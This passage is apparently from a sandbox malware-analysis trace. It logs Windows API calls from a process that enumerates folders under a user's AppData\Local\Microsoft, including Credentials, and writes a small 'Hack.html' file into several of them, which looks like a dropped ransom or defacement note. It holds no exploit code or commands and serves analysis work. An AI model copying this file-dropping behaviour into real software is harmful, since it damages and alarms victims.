(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\history\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.821] GetFileType (hFile=0x174) returned 0x1 [0076.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0076.821] GetFileType (hFile=0x174) returned 0x1 [0076.821] WriteFile (in: hFile=0x174, lpBuffer=0x26e8710*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x26e8710*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0076.822] CloseHandle (hObject=0x174) returned 1 [0076.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0076.822] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x35 [0076.822] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\", lpFilePart=0x0) returned 0x36 [0076.822] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a1e8 [0076.823] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.823] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.823] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.823] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.823] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.824] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.824] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.824] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.824] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.824] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.824] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.825] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.825] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.825] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.825] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.825] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.825] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.825] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.826] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.826] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.826] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.826] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0076.826] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0076.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0076.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0076.826] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x35 [0076.827] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\", lpFilePart=0x0) returned 0x36 [0076.827] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a1e8 [0076.827] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.827] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.827] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.827] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.827] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.827] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.827] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.828] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.828] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.828] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.828] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.828] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.828] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.828] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.828] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.828] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.828] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.829] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.834] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.834] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.834] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0076.834] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0076.835] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0076.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0076.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0076.835] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x41 [0076.835] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\", lpFilePart=0x0) returned 0x42 [0076.835] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0076.835] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.835] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0076.836] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0076.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0076.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0076.836] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x41 [0076.836] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\", lpFilePart=0x0) returned 0x42 [0076.836] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0076.836] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.836] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0076.836] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0076.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0076.837] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\Hack.html", lpFilePart=0x0) returned 0x4b [0076.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0076.837] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\credentials\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.837] GetFileType (hFile=0x174) returned 0x1 [0076.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0076.837] GetFileType (hFile=0x174) returned 0x1 [0076.838] WriteFile (in: hFile=0x174, lpBuffer=0x26f190c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x26f190c*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0076.838] CloseHandle (hObject=0x174) returned 1 [0076.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0076.839] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer", lpFilePart=0x0) returned 0x42 [0076.839] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer\\", lpFilePart=0x0) returned 0x43 [0076.839] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0076.839] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.840] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0076.840] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0076.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0076.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0076.840] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer", lpFilePart=0x0) returned 0x42 [0076.840] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer\\", lpFilePart=0x0) returned 0x43 [0076.840] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0076.840] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.841] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0076.841] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0076.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0076.841] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer\\Hack.html", lpFilePart=0x0) returned 0x4c [0076.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0076.841] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Event Viewer\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\event viewer\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.842] GetFileType (hFile=0x174) returned 0x1 [0076.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0076.842] GetFileType (hFile=0x174) returned 0x1 [0076.842] WriteFile (in: hFile=0x174, lpBuffer=0x26f58f8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x26f58f8*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0076.843] CloseHandle (hObject=0x174) returned 1 [0076.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0076.843] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds", lpFilePart=0x0) returned 0x3b [0076.843] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\", lpFilePart=0x0) returned 0x3c [0076.843] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0076.860] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.861] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.861] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.861] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.861] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0076.861] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0076.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0076.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0076.862] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds", lpFilePart=0x0) returned 0x3b [0076.862] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\", lpFilePart=0x0) returned 0x3c [0076.862] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1e8 [0076.868] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.869] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.869] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.869] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0076.869] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0076.869] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0076.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0076.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0076.871] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x39e7e8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x4c [0076.873] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpFilePart=0x0) returned 0x4c [0076.873] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x39e7e8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x4c [0076.874] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x39e7c8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x4d [0076.875] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x39e7bc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x4d [0076.883] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpFilePart=0x0) returned 0x4d [0076.883] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x39e7bc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x4d [0076.885] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1e8 [0076.888] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.888] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.888] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.888] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.888] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0076.888] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0076.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0076.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0076.889] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x39e7e8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x4c [0076.890] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpFilePart=0x0) returned 0x4c [0076.890] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x39e7e8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x4c [0076.891] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x39e7c8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x4d [0076.891] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x39e7bc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x4d [0076.892] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpFilePart=0x0) returned 0x4d [0076.892] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS 